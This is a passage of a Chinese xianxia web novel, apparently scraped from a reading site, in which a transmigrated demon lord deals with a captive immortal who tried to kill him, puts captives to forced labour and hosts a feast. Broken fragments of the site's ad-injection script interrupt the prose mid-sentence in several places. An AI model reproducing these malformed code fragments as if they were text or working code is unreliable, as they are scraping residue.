每每破山月以为他已经一脚踏入魂飞破散的边缘,他又能凭借强大的能力突破成功,重新变成一个更强大的魔,她就这样一点点看着自己认定的王越站越高,最后成为整个魔界的主人。魔界再没有了能与他为之一战的魔,她的王好像不再执着追求挑战极限提升境界,可那些曾经一次次被强行提升的境界,又反过来去一点点摧残他,尤其在压抑不住反噬时,有时躁动的癫狂模样似乎随时会一掌击碎自己的魔核,看得破山月心惊肉跳。 她知道,她的王早已了报完了所有仇,他不贪慕权势,余下活着的每一日,都是毫无意义,他完全有理由自我终结这不平凡的一生。 在破山月的眼里,她的尊主是强大的,也是脆弱的,所以看见站在魔力凝结的火焰中依然从容宛若平静赴死的官逍时,会有些失去理智地施法招来云雨,全然忘了按如今尊主的修为,这点火势根本伤不了他分毫。 可此时朝她走来的尊主显然不知她刚刚的恐惧,对上那双略含笑意的眸子,破山月怔了怔,她好像从那双眼睛里看到驯兽为他带来了乐趣,断了弦的理智总算重新归位,她停下施法,身体微微摇晃了一下。 “属下不知尊主在驯兽,扰了尊主雅兴。”破山月道。 “无妨。” 官逍回头看了看那只被雨又淋过一遍的金狮,身上哪里还有一丁点儿威风凛凛的影子,金色的毛发尽数被烧焦,焦黑的皮肉黏在身上,看起来甚是可怜可怖,官逍指了指一个身材健硕的魔修,隐约记得他是狩猎队中的一员,“将这金狮带去无生涯,让御兽魔好好照看。” “是。”被点名的魔修抱拳应声,铿锵有力,但在靠近伤痕累累的金狮时步履还是有些迟疑。 那金狮受了重伤又被束缚,已经没了什么威胁力,况且周围任何一个魔修拉出来都比官逍修为高,官逍便不管下属心中有多少忐忑,转身朝着破山月看去,“修养几日你这脸色看起来还差了些,狩猎队今日刚带回十来只魔鹿和角兽,我让炼器房收拾收拾烤了给大伙尝尝,你可要吃些再回洞府?” 破山月闻言微微蹙眉,似是不解,又在官逍热切的注视中点点头,“是,只是……炼器房可以吗?” 虽说已近两百多年没怎么进食过了,可她也是从人界来的,知晓烹饪食物一事看似简单,实则内有乾坤,炼器房那些只知敲石锤铁的大老粗,如何懂这些。 想起今日看见的那条炭鱼,官逍沉默了,不得不说,破山月问到了点子上。 难得见到运筹帷幄的尊主有这种不确定的时候,破山月说:“不如,我试着指导一二?” “你?” 想到这飞梭而过的几百年,破山月也有些不太确定。 但事情到底就这么定下了,官逍对她厨艺的信任程度,总归是比炼器房高一些的。 天色黑沉时,魔殿外的空地上聚集了好些魔修,或坐或站,俱是兴奋的模样,四周燃着许多篝火,将这一片区域都照得明亮。 早有魔修为官逍在高处置好了座椅,座椅手边是一个造型独特的木桌,桌上摆着个精致的白玉盏,官逍将那木桌上上下下打量一通,确定不是自己那心爱的柿子树制成,这才放心。 官逍位置的下首是破山月的坐席,禄无游闭关未出,其余护法皆不在东稷魔城中,故而靠近官逍位置的这一片区域显得略微有些空荡。 官逍入座时破山月还未到来,下方坐着的诸多魔修交谈声音小了一些,却时不时朝着地宫的方向看去,官逍起初不明白,后来隐约听到类似于侍君之类的字眼,猜测他们大抵是想一睹被自己挑中的仙子到底是何模样。 官逍今夜组织这场别开生面的聚餐也是看到那些类似人界鹿和羊的动物后突发奇想,若是让他们尝到美味食物的甜头,就能让更多魔把吃东西作为新的消遣,那他将会在很长一段时间内不成为魔界的异类,可却没想到,这群魔修们将这场聚餐理解为庆贺他喜得第一个侍君。 官逍刚落座不久,就有几个魔修搬来一个巨大的坛子,放在场地中间,封口被撬开,一股浓烈的酒香味弥 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 漫在空气中,官逍嗅了嗅,清冽又不刺鼻,有种浓厚的醇香,他不由坐正身子,很难理解这群不食五谷杂粮的魔修们从哪儿弄来的酒水。 不久后下方一个魔修尝口酒,蹦出的那句“东乌仙宫的那些仙子还真是会享受,我们护法大人要了他竟舍不得给,还得我们自己缴了仙宫才行”解答了他的疑惑。 又是抢的,果真是魔界一贯的传统。 随后另有一魔修双手捧着两个巴掌大的白玉坛,分别送到官逍和破山月的桌上。 官逍给自己倒了一杯,拿在鼻尖嗅闻,是烈酒无疑,他的喉头动了动,忍住品尝一口的冲动,把白玉盏重新搁回了桌案上。 破山月这会儿也走了过来,她一如既往地一身飒气,当然,如果忽略她身后跟着的那一长队搬运烤肉的魔修的话。 一个个整只的鹿与羊被抬了过来,肉香味迷得官逍差点直了眼,只有饿了多日的人方懂他此刻的急迫。 破山月不愧是原身最忠诚的下属,将尊主放在了心中首位,利落地拔出腰间匕首,手下动作飞快地从最嫩的地方切出一盘鹿肉,端到了官逍面前。 官逍执筷夹起一片肉,细细端详,肉质已经被烤熟变色,并未添加什么佐料,想来味道不是很好,他塞入口中,果然应证了他的猜测,只有肉本身的味道,甚至还有些柴。 官逍的视线落在了破山月身上,她的手指满是握兵器留下的茧子,皮肤也因久经外界风霜不如寻常女子的细腻,坐在夜风中一口口往喉中灌着酒水,似是有万千心结未解在借酒消愁,官逍的目光挪到她手边的那盘肉上,她始终没碰。 官逍就知道,她只品酒定然是知晓炼器房出品的烤肉根本不好吃。 连官逍这个饿了多日的人都没尝出滋味,更遑论对食物本就没什么需求的魔修们,他们不如破山月这般细致讲究,都是直接将鹿羊身上某个部位撕下,塞进口中咀嚼几次,随后吐出,丢之一边,端起酒杯欢快畅饮。 官逍面无表情地一下下往嘴里塞着肉,试图忽略味觉的反抗直接填饱肚子,静静看着下方那些把酒言欢的魔修们,暗暗发誓一定要在魔界这大好河山中寻出点佐料来。 上方的寂静与下方的热闹形成了鲜明的对比,也不知从何时起,那些魔修们察觉了气氛的迥异,时不时偷窥两眼尊主和护法大人的脸色,总觉得后背有股凉意。 官逍无意给他们造成心理负担,索性移开目光,看向落座后就独自浅酌一直不曾开口的破山月,她手边那小坛酒已经见底,官逍想了想,把自己的那坛隔空递到了破山月面前,破山月端着酒盏的手顿了顿,一饮而尽后道:“谢尊主。” 官逍没回应,继续吃着面前的肉,直到一盘肉被放到了自己手边,官逍抬头,见是破山月冲他举了举杯。 官逍从她眼中看出来些许醉意,叹了口气,端起酒盏与她示意,随后一饮而尽。 前一世的他是个半杯倒,这一世他的处境艰难,保守着一个能决定他生死的秘密,更是不敢多喝,想来修炼这么久,这一盏下肚应是能维持清醒。 9. 第九章 众魔修期待的仙子一直没有出现,几盏酒下肚也逐渐忘了这事,官逍酒足肉饱后率先离席,他走时破山月的眼神已经迷离,嘴里轻轻喃喃两句“女儿红”,官逍离开的脚步顿住,招来破山月的贴身下属红夜,命她看顾好,才转身回寝殿。 仙宫的酒水烈又醇,官逍这具身体修为不高,实在有些不胜酒力,只与破山月对饮的那一盏就让他意识迟缓。 且不知是不是鹿肉吃多了缘故,官逍总觉得身体里有那么几缕魔气乱窜,燥热得厉害,他不由庆幸白日已将体内储存的魔气耗尽,不然这会儿他更难以压抑。 踏进寝殿门的瞬间,官逍就感觉出来了些许异样,只不过醉酒后身体比大脑先行,直到他进了寝殿才想起要做防范。 然而已是来不及,一柄长剑架在他的脖颈处,官逍一动不动,眼神都因迟钝没漾起半丝涟漪。 叶鹤清一直紧盯着官逍的表情,没从他的脸上看到半分惊诧与畏惧,意外的同时,又觉官逍此魔本该这样。 官逍侧过头,看向那执剑者,是白日那个被风悟送来的仙子,他此时已经换了身衣服,那身给官逍留下深刻印象的青衣变成了红衣,好似真要和官逍拜堂成亲一般。 官逍的眼眸微抬,与仙子对视,一柄寒剑对着自己的要害处固然可怕,可眼前这仙子不过是刚从净灵池出来,还未真正修行仙界的道法,不足为惧。 想通这一点,官逍看向对方的目光轻蔑,再开口的语气中就多了几分嘲弄,“怎么,以为出其不意就能取本尊性命?” 他声音不大,因饮酒大脑昏沉,再加上体内魔气往天灵盖喷张冲撞的不适感,让他的状态显得格外松弛慵懒,很是不耐。 上位者的从容与强者的自信此刻在官逍身上具象化,让叶鹤清有一瞬神的恍惚,明明自己才是拿着武器处于优势的一方,对方却胜券在握,一副高高在上的模样,倒还真是他的作风,胆大疯狂又目中无人。 不过,今夜这么一试探,他确认了真如自己猜想的那般,魔头没把自己当成对手,更不记得自己的模样。 官逍明显看见自己的话语出口刹那,那只握着剑柄的左手微微发力,官逍的心也跟着微微提了提,自己总不能是精挑细选了个怀着必死之心要杀他的仙子吧? “本尊暂且不想要你性命,你应也不想知晓惹怒本尊的代价。”官逍脸色沉了下去,再度开口施加压力,他在赌原身对三界的威慑力。 叶鹤清想想如今这魔头的修为,自己着实没有胜算,若真打上一架,也不知是何等的天昏地暗,倒不如趁着他认不出自己,潜伏在魔界伺机而动,寻个最好的时机动手。 叶鹤清收起长剑,就见官逍理了理领口处的衣襟,没多看他一眼,就朝着石床的方向走去。 官逍承认下午见到这仙子时因他的容貌气度眼前一亮过,可留下他更多的原因是想停止风悟他们无意义地掳掠行为,总有一个仙子要被他留下,那不如留个看得顺眼的,哪日春风一度他也不会觉得委屈了自己。 可进门便是如此“惊喜”,官逍本就躁动的情绪更添烦闷,他知道,这其中有很大一部分是来源于他自身的无能,若他能如原身那般动动手指就将眼前仙子重伤在地,也无需靠着这种心理博弈让对方主动让步。 他想像往常一样直挺挺躺上寒床,以缓解体内魔气冲撞带来的不适,可坐下时眼角余光瞥见杵在原地的那抹红色身影,又觉头疼。 白日接受地爽快,现在真将仙子洗干净打包送进自己的寝殿,他又怕自己半夜睡着时被一剑捅死,这一剑可是留给未来出现的男主捅的,怎能让一个不名经传的小喽啰先下了手。 估摸着将这仙子送来后,风悟今夜会守在不远处,官逍传音过去,没等片刻,就听寝殿门外有人落地声,“尊主。” “进来。”官逍看了眼那仙子,朝门外的风悟道。 风悟推门进殿,感受到尊主心情不佳,垂首不敢多看殿中情形。 官逍抬手指向仙子的方向,“拖出去。” 风悟愣了愣,偏头朝仙子方向看去,看见他手里握着的那柄没回鞘的剑,还有什么不懂的,眼皮狠狠跳了几下,他下面那几个不要命的,将仙子送到尊主寝殿竟未搜缴武器,这和直接放外敌进来刺杀尊主有何区别。 这事是自己办得不牢靠,他难辞其咎,风悟心里苦得紧,暗暗发誓定要将定常生大人带回的刑具轮番给这不知死活的仙子来上一轮。 心思一闪而过,风悟急忙收敛住戾气,对着官逍试探问道:“是,关进…地牢?” 他从未有过这种为难不确定的时候,毕竟以前这样对尊主有不臣之心的仙子,离开这座寝殿的时候已经没了气息。 仔细想想,这竟是尊主第一个心慈手软对待的仙子,或许尊主当真对他有偏爱?那些刑具还要不要…… 官逍不知风悟心中猜想,揉了揉太阳穴,总觉这样太便宜了对方,想了个折腾仙的法子,“在地牢闲着做什么,这般有精力,不如给他戴上束灵铐,拖去魔圃活动活动手脚。” 风悟嘴唇微张,想说什么,又被吞了回去,“是。” 看来尊主是有偏爱,但不多。 风悟押着那仙子离开时,已经开始琢磨先用哪个刑具,挣扎求饶的模样还得是鲜活些的时候才好看。 仙子行路不快,风悟毫不留情地在对方小腿处踢了一脚,“走快点,别留在这碍尊主的眼。” 仙子挨了一脚也没甚反应,只是回头又看了官逍一眼,官逍正懒散地坐在床上,这么视线相撞,他感觉自己从对方眼中看出了点示弱的意味儿。 官逍唇角微扬,“慢着。” 风悟急忙刹住脚步,转身站定躬身,“尊主还有什么吩咐?” 官逍的视线在仙子身上来回打量了一番,他如白日第一次见时那般站得笔挺,修长俊逸的身姿给他那身特地为洞房花烛而穿上的红衣添了许多风采。 “他一仙修建魔圃多孤单,将地牢里那些他的仙人同僚,也一并带出赏赏月。”在风悟以为尊主会反悔时,却听到这么一句。 魔界哪有月可赏,风悟短暂愣神,随后反应过来,看身边仙子的眼神中带了些许怜悯。 地牢里那些本 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还出尘俊朗的仙子们,已经在日复一日的劳作中抛去了风度与高洁,连今日新加入修魔圃的那几个女仙子都在天黑入地牢的时候泪眼婆娑,口中多有哀命运多舛。 所以他都能想象,因为这仙子的行为,而让那些刚回地牢休息不久的仙子再被拉出来连夜劳作,身边的仙子将是如何处境。 风悟有些期待,只觉应不比那些刑具加身时的景色差。 看见那仙子眼中的期待转为失落,官逍觉得甚是有意思,心中郁气消散不少,摆摆手,“带走吧,明日再将他给本尊带回来,留一口气。” 风悟这回是真猜不透尊主的心思了,今夜拖出去锄地,明日再留一口气送回来,这到底是偏爱还是刻意折磨? 总归,在尊主还没玩腻之前,风悟也不敢私下做什么小动作,至于身边这位日后的造化,得看他自己如何把握了。 寝殿重新归于安静后,官逍卸下伪装,直挺挺躺在了床上,任由身下寒石中散发的寒气进入他的身体,蔓延至四肢百骸,他舒服得长叹一声。 屋外的风将门边挂着的红纱红绸吹起,屋内红烛还在静静燃烧,官逍白日驯兽将体内魔气耗尽,也懒得再起身灭蜡烛,索性闭眼沉睡。 这一夜官逍睡得并不踏实,并非床的问题,而是他做了一个冗长又难以醒来的梦。 梦中烛光摇曳,石床上他被缠住了身体,在与一个看不清面貌的人身躯交织翻龙覆雨,衣衫在空中舞动,似是有喘息声在耳边响起,那声音极其熟悉,好似…… 好似是他自己的声音! 官逍猛地醒来坐起身,身上的热意都未消退,他在寒石上睡了一夜,竟是满身汗水,仿若是刚大战过一场。 屋内红烛燃尽,他看了眼窗外,魔界一直雾蒙蒙的,少有天光大亮的时候,凭借着这些时日在魔界生活的经验来看,此时应是将近晌午了。 官逍没料到自己昨夜的一觉会睡这么久,更没想到他会做这么个荒谬的梦,他坐在床上,任由汗水划下,将衣裳的红染成更深的颜色。 梦里那人的面容他看不清,可他知晓那就昨日是被他挑中的仙子。 或许是那乱窜的魔气扰了他的心神,亦或者是昨夜本该是他所谓的洞房花烛夜,给了他心理暗示,官逍找了许多个借口说服做春梦的自己,可他无法理解的是,他为何是被任人施为的那一个? 他乃堂堂魔界尊主,让三界闻风丧胆的存下,就算芯子里是个冒牌的,也不该由着一个修为低微的仙子主导情爱之事。 官逍细想缘由,最后归结为潜意识里的自己在畏惧一个无甚本事的仙子,这个结论让官逍极为烦闷,又在床上盘膝而坐,运转周身魔力,将功法再研读几章。 如此练了半日,再出寝殿已是天色近黑时,官逍遥遥看见魔圃那边一群仙子还在辛勤劳作,两天一夜的劳作,让他们的脚步格外沉重,锄地的手臂都在颤抖。 因为昨夜有仙子惹怒了官逍,魔修们也不敢如平时一般天黑便放他们回地牢,故而官逍此时看见的他们,哪还有半点仙子的清高模样,简直比魔修还像魔修,怨气冲天。 10. 第十章 官逍抬步走过去,禄无游规划出的魔圃面积不小,这几日开垦下来也才十分之一不到,东稷平地虽多,可土质并不好,不然当年原身登魔尊王位时移栽来的千株树木,也不会最后只活下柿子树那一棵独苗。 坚硬的土地锄起来格外费劲,仙子们个个灰头土脸,其中一位仙子最是狼狈。 官逍的目光落在那个浑身都是土、红色衣裳还被划破了几处的仙子身上,他脚上的锁链格外粗沉,正垂首沉默锄地,看起来任劳任怨,就是他那从骨子里透出的气质,哪怕满身脏污也会叫人一眼看见他。 官逍难得有种玷污了神明的感觉,不过…以原身那恶劣的思维,大抵是越出尘的他越想摁进泥土里,越高贵的他越想打碎自尊。 “尊主,可要这会儿将他送去寝殿?”风悟跑来问道。 他昨日将活计交给手下出了大纰漏,今天一直亲力亲为蹲在不远处看守,打瞌睡都不敢闭眼。 官逍昨夜刚做了与他相关的春梦,其实是不想与他独处的,可又忧心表现出了排斥后,这群贴心的属下继续去做掳掠拐卖的行当,闭了闭眼,决定为打击拐卖掳掠行业稍稍献身。 “嗯,带去寒潭洗干净。”他微微颔首,随后强调,“每一处。” 话出口的刹那,官逍眼角余光看到那仙子锄地的动作迟钝了一瞬。 等官逍在柿子树下又修炼两个时辰回寝殿时,殿内依然灯火通明,只是昨日那个持剑等着刺杀他的仙子,此时坐在圈椅中假寐,看起来这一天一夜叫他累得不轻。 官逍抬步走进殿中,未刻意放轻脚步,脚步声惊醒了小憩的仙子,也不知是风悟的恶趣味,还是有哪位不正经的魔修在旁指点,这仙子换掉了那件破烂的红衣后,风悟又给他准备了一身红衣,只是这身红衣与昨日的比起来…更清凉,胸肌腹肌有些若隐若现。 官逍的眼神不自觉将他打量了一番,又一番,仙子的脸色越来越黑沉,坐姿也逐渐变得笔直,手不自觉摸向腰间长剑,感觉到手下空空后,方反应过来长剑已被扣下。 官逍见他动作,眉毛微微扬起,一副下一秒就会召来下属,再把他拖出去,劳作个一天一夜的模样。 仙子窥他神色,忙将手收回,又好似不知该放于何处,挡哪儿都好,挡哪儿也都不合适。 殿内一片寂静,一边是浑身紧绷的仙子,一边是勾唇欣赏仙子的魔尊。 官逍没料到眼前仙子看似清瘦,实则衣服下内有乾坤,很有看点,若非昨日他执剑架在自己脖子上,官逍也不介意给他一点甜头,疼爱一夜,让他当个冒牌魔尊的侍君。 可惜,他错过了属于他自己的洞房花烛夜,官逍一时半会儿也难摆脱梦中自己被摆布的心理阴影。 但做戏也该有个做戏的样子,官逍走到仙子面前,微微弯腰凑近了那双满含戒备的眸子,与他对视间,不经意间嗅到他身上有股淡淡的清冽的植物香味,有些像竹。 东稷没有这种植物,他从前应是在竹林茂盛的地方生活,才会染上这种气味,官逍自来到魔界后已经很久没有这样清晰闻到植物的气味了,他有些贪婪地凑近仙子脖颈处的皮肤多嗅了几下。 仙子双手紧捏着圈椅扶手,上身微微后仰,侧头想要躲避官逍的靠近,可圈椅就这么大,官逍又没给他丝毫逃开的可能,他感觉一股温热的呼吸落在他的颈侧,不自主地吞咽了一下,喉结滚动之间。 下颚突然被一只修长的手钳制住,手的主人并未使多大力气,却让仙子不得不与他对视。 “你与我之前有过仇怨?”官逍笑问。 叶鹤清心内咯噔一下,不知他葫芦里又卖得什么药,双目微瞠,与官逍对视片刻,方才迷茫摇头,“并无,我只闻尊主威名,不曾见过。” 官逍打量他那张漂亮的脸,从那双清透的眼睛中,他没看出撒谎的痕迹,姑且相信了这话,“那便是带着身为仙子的使命来刺杀本尊?” 仙子这回答得果断,“仙魔两界本就势不两立。” 官逍依然勾着唇角,松开捏着他下巴的手,后退两步,变脸只在一瞬间。 风悟这回翻墙来得比昨天还快,几乎是官逍的传音刚结束,他就从天上落地,这让官逍有合理理由怀疑他就蹲在围墙上听墙角。 “拖出去。”官逍道,“赏月。” 仙子脸色一变,看向官逍的目光有些不可置信。 官逍不为所动。 已经不是第一回做,风悟轻车熟路,将这仙子拖到殿外时脚步放慢,“尊主,那明日……” “再送来。” 官逍的声音从殿内传出,随后身后殿门合上。 风悟应了一声,再看向身边仙子时有些恨铁不成钢,怎得今晚都给他打扮成这样了,还得不到尊主的垂怜。 “仙界仙子当真是学不会半点魅惑尊主的本事,无用!”风悟自言自语。 若非主上不喜好魔界魔修的长相,他又怎会寄希望于这些故作清高的仙子。 他身边的仙子闻言露出了些许震惊的表情。 不过是闭关几年,魔界的下属竟是已经朝着这个方向发展而去了? 官逍打发了仙子,又放松躺回了床上,介于昨夜的春梦,他将殿内悬挂的红纱扯落,红烛熄灭,这才安然闭上双眼。 … 之后半月,仙子毎日傍晚被洗干净送进官逍的寝殿,每天夜里再被官逍以各种理由厌弃,虽然一日比一日在寝殿逗留的时间更长久,可到底也躲不过被拖出去修魔圃的命运。 且不说这般折腾仙子能否受得住,只毎日被不断被搓洗,仙子的皮肤似乎都变得敏感,官逍轻碰一下都能留下红痕许久,这让魔修们看见后私下议论纷纷,魔尊大人当真是不懂怜香惜玉,夜里召幸后竟还让侍君做苦活,惨过其他未曾魔尊大人看上的仙子。 大抵也是因为这,其他仙子们对他的态度也有了转变,不再刻意针对。 在毫无间歇的劳作中,不仅仙子憔悴许多,风悟都因昼夜不歇地连轴加班瘦了一大圈,听见官逍传音宛如听见魔咒。 官逍自然知晓这种类似于熬鹰的行为有些残忍,可耐不住这简单粗暴的一招着实好用,他能安稳休息,风悟没时间去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 物色别的路过仙子,而那个被官逍挑中的倒霉蛋仙子,也逐渐在摧残中变得乖顺服从。 只有官逍开心的成就便这般达成了。 “熬鹰”闲暇时,官逍已从纳灵初期进阶到纳灵中期,相信再过不久,他就能从纳灵期毕业,提升境界。 修道一事,一开始确实新鲜,可后来日复一日在体内运转魔气周天,重复着枯燥的流程,着实无聊,只能坐在柿子树下,遥望那些魔圃中累惨了的仙子们,以寻找心灵慰藉。 官逍觉得他如今思维,倒真像个魔了。 抠抠搜搜吃掉树上最后一个柿子的时候,红夜抱着一篮果子送到了官逍面前,有些是官逍认识的类似于山楂秋梨的果子,其他更多的官逍则是根本没见过的,应只在魔界才有。 “主上前些时日派人去寻的,今日刚送到。”红夜道。 官逍这才想起来好久没见到破山月了,记得上次见还是醉酒那天,难怪他最近总觉得缺了点什么,被他忽略的下属还不忘派人去给自己寻果子吃,官逍有些愧疚。 “你家主上的伤养得如何了?”官逍询问道。 红夜有些迟疑,官逍敛起笑意,静静看向红夜。 红夜被魔尊这么一双黑沉沉的眸子注视,只觉压力颇大,“主上心情不佳,伤养得就慢一些。” 官逍想起那夜破山月借酒消愁的模样,想着她怕是忆起了什么陈年旧事,也不多问,“无妨,多在东稷留些时日。” 红夜摇摇头,“属地有散仙出入,主上猜测他们的目的是去中心魔城,已打算不日回南边,抓几个来杀鸡儆猴。” 官逍闻言思索片刻,中心魔城是前魔主的老巢,也是历届魔界之主的大本营,原身在东稷定都后几乎将全部珍藏都转移过来了,连那处的魔脉都因中心魔城被废弃逐渐消隐,那仙界的一些散仙去是为何呢? 若非说有什么特别……官逍脑中灵光一闪,想起原书中大结局,四位护法在与男主大战前,前往中心魔城毁了一件兵器。 那其实并不算什么魔界神兵,追根溯源还是仙界的东西,当年仙界一位帝君在弥留之际特意陨在那处,致天裂地陷,魔界被笼罩在混沌未分的黑暗中,雷石带着流火纷纷落于此处,瞬息将方圆万里夷为平地寸草不生,魔修在猝不及防中死伤无数,当时的魔主恨仙界诡计多端,故而在帝君身陨处兴建城池,并布下阵法,将帝君陨后本该回馈天地的灵气镇压此处,而他的那把武器折光戟有万斤重,被沉于主城千仞潭中。 不过这都是当时魔界流言,具体中心主城之下到底是什么,也只有历届魔尊与其护法知晓。 虽然原身记忆碎片中里没有,但官逍从原书的结局中便能知晓,那座城池之下其实什么都没有,而那位帝君真正的修为灵气都聚集在折光戟中,若是被有缘修仙者获得,或许能获取其中灵气,修为一日千里。 折光戟的秘密外人不能知晓,想来那些散仙也只是奔着流言而来。 “这些散仙当真大胆,把魔界主城当副本刷了不成?”官逍思索间喃喃道。 红夜:“啊?” 11. 第十一章 破山月是第三日晌午请辞的,彼时官逍睡眼婆娑,困得要命,这几日那仙子越发谨言慎行,官逍想抓他错处都难,昨晚硬是耗到了下半夜,官逍才寻了个他睡姿不端的理由让风悟给拖出去,鬼知道当时那仙子的表情有多委屈。 他红着双眼,痛心疾首委屈万分,“尊主大人,吾要如何在圈椅中睡得端正?” 官逍略有些心虚,不敢直视对方双眼,端坐于床上,将前世那些资本家丑陋的嘴脸学了个十成十,“没有条件你便不能创造条件吗?那么多没有床的魔修散仙,怎么就你睡不端正?” 仙子欲言又止,在被风悟拖出寝殿也没能说出一句辩驳的话。 这么多天共患难下来,风悟也与这仙子产生了那么点儿革命友谊,一边拖着对方爬上围墙滚出魔殿,一边安慰道:“这有什么舍不得的,反正今夜还会回来。” 夜黑风高,浓重的雾气中看不太清前方的路,风悟凭着多年行夜路经验把仙子拽到魔圃,熟练替他拷上锁灵脚铐,丢过去一把半新不旧的锄头,语重心长道:“你明日想办法再多拖一刻钟,我今日回城慢了些,差点没赶上尊主吩咐。” 仙子沉默,安静锄地。 风悟知晓这仙子就是个闷葫芦,也不在意他的无理,招来个下属盯着,自己寻个地方打盹儿。 被下属吵醒走出寝殿的官逍揉了半天眼才看清面前立着的魔,破山月依旧穿着那身黑色征袍与银色盔甲,面无表情地请辞。 官逍将破山月仔细打量了一番,她周身散发着肃杀之气,魔气也稳固许多,应是最近的修养有了效果,看不出来她前些时日还因往事伤神。 “那些散仙又何须你亲自出马。”官逍道。 破山月垂眸,“手下魔不顶用,得力的也不过两三个,属下想回属地练出一支强兵来。” “你若是把对自己的狠劲儿拿出一些要求他们,也不会次次比试时弱九行煞的属下一头。”官逍说得直白。 魔界每隔五年就有一场内部比试,是原身为了让四个护法势力良性竞争琢磨出的法子,破山月手下的魔兵最是纪律严明,可偏偏她那套仁慈的练兵路子,抵不过九行煞的铁血手腕来得有震慑力。 “属下受教,这回定好好操练他们。”破山月说得肯定,官逍却是不信的。 她对待下属时没九行煞那么狠的心肠,也做不到如定常生那般不计较输赢从容淡定,最后为难的就是自己。 破山月的队伍刚离开东稷,北边狩猎队带着官逍后派出去的采集队伍一并回来了,因不想再应付第二只金狮,官逍只命狩猎队将外来的魔兽驱逐,故而这次他们没猎回猛兽,狩猎队队长一手抓着一对兔耳,对着官逍行礼时姿势颇为别扭。 官逍应了声后,目光便被他手中那双灰兔吸引,视线多停留了片刻,狩猎队队长起身后对上官逍的眼神,意会了什么,解释道:“北边山中魔兽已尽数驱逐,只不过这窝长牙兔的爹妈匆忙逃窜中忘了带走崽子,属下发现他们体内都已生出魔核,便想着带回来交给无生涯的驯兽魔练练,兴许能练出个巨型兔来。” 官逍一听兔崽子体内都有魔核,心中愤懑不已,有的兔崽子一出生就在修炼的罗马广场,有的人吐了百八十口血还在纳灵期后期徘迷茫。 “就养在魔殿吧!”官逍不容置喙地说。 官逍喉头动了动,他倒要看看,有魔核的兔子是不是更美味。 狩猎队队长愣了愣,随后听话地交出兔兔,“此兽虽没什么攻击力,不过擅挖洞,尊主不若让无生涯送两只笼子来。” “嗯,你去安排。”官逍随口应了声。 他伸手接过,兔崽子没什么重量,浑身上下估计没二两肉,还需养肥才能凑一盘儿,官逍忽而想起兔子这个物种好似繁殖能力这么强,相比起饱餐一顿,官逍更想可持续发展。 养殖业好像也不是不能做。 这般打算,他掂起看向它们的腿根处,厚而密的毛遮挡住了关键部位,官逍也做不出人前扒拉兔兔隐私部位的事情,脑海中想到从前偶尔听过的雄兔眼迷离,不禁将兔子提到与胸口齐平,一人两兽几目相对,终究是官逍打消了分辨雌雄的意图。 他提着兔子看了看周围,没有禄无游的时候,果然身边就没一个有眼力见的下属,官逍仰头看了眼大高个儿。 大高个儿迟疑两息,忆起每次禄大人在尊主面前的表现,有模有样学习,他躬身作谦卑状,凑近官逍,将巴掌大的耳朵靠近官逍,听听尊主大人要与他说什么悄悄话。 官逍退后半步,对自己身边有这么个粗神经的属下而觉无语,他将手抬起,两只被拎久了而有些翻白眼的长牙兔悬吊在大高个儿面前,官逍挑挑眉,“拿着。” 高个儿恍然大悟,伸手接过,用两根手指便轻易捏住了兔耳,显得刚刚一只手紧攥兔耳的官逍很没面子。 见官逍面色不虞,大高个儿默默退后试图缩小存在感,这时,一个弱弱的声音轻声问:“尊主,这些灵植要如何处置?” 官逍的注意力这才被从兔子上移开,看向出声的魔修。 那魔修兴许不常有接近魔界尊主的机会,很是胆小,官逍只是往他的方向看去,他就已经浑身颤抖。 官逍自觉没做过伤天害理的事情,对方这种下意识反应定是原身的功劳,他也没在意,目光逡巡一圈,落在一个背着灰色陈旧布袋的魔修身上。 “取出来看看。”官逍吩咐,随后朝着那魔修的方向走过去。 魔修放下布袋,抖着手施展法术,那一人高的布袋被打开个口子。 这竟还是个储物的法器,官逍一时无言。 这已是麻袋的尺寸了,直接装个人进去都不显小,还有什么必要被冠上法器的头衔,施展法术是为了输入开箱密码吗? 官逍内心的吐槽没表现出来,也幸好他没说什么,因为接下来那魔修从储物袋中取出的东西让官逍格外震惊。 魔修从袋中陆陆续续取出各色植株,短则一寸长的幼苗,长则一人高的树苗,将面前的一小片空地堆成了小山,本列队站在官逍面前的狩猎队和采集队现在已经分散开来,围在“小山”周围,还在时不时后退挪出脚下的空地。 “等会。”官逍打断那魔修的动作,看向他手中的麻袋,“还……有多少?” 那魔修探头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 进去看了看,才回禀道:“不多了。” 官逍点点头,示意他继续。 一刻钟以后,退了六七步的官逍打了个哈欠,已经有些麻木了。 大抵是看出了官逍的不耐,那魔修收下动作更快,口中喃喃道:“不多了,真的不多了。” 看在采集队这么辛勤的份上,官逍不想给他造成多少心理压力,微微颔首。 终于,那魔修停下了掏东西的动作,环顾四周。 采集队的魔修率先反应过来,都齐齐让开,狩猎队的随后跟着反应过来,也挪到了十来米以外,于是,在官逍不可置信的眼神中,那魔修双手伸入布袋中,从中抱出了个…直径约七八米的巨高的一棵树,这树长得略有些奇怪,一半树叶是绿色,一半树叶是黑色。 官逍:…… “真,没有了。”魔修弱弱开口,“这是吾等属下从仙魔交界处寻得的古树,想着尊主应会喜欢。” 官逍还是没能从震惊中走出来,他现在甚至有点馋那个布袋了。 呼吸几次后,在沉寂的氛围中,官逍动了,他绕过那颗巨树,先去看植物山堆,之前就看到了几颗自己眼熟的植物,他有些怕被压坏了。 可面对这么庞大数量的植物,官逍靠近后又有些不知从何下手,他这一刻无比希望禄无游快点出关。 禄无游之前圈出来的魔圃范围官逍还觉有些大了,但如今看来可能还不够,兴许还需要再扩大一倍多范围才能种完这些。 “北山还好吗?”官逍没忍住发出灵魂质疑。 魔修不明所以,有一个凑近回答:“北山一切都好。” “没秃吗?”官逍继续发问。 魔修迟疑不知如何作答,官逍懂了。 他伸手拿个不认识的植物仔细打量,着看起来就像颗韭菜,内里伸出个细长的枝,开着两朵青色小花。 “此乃祝余草,没甚用途,据说味道清甜,凡人吃了后立即充饥,只有人界修道者偶尔会采食。”那魔修介绍。 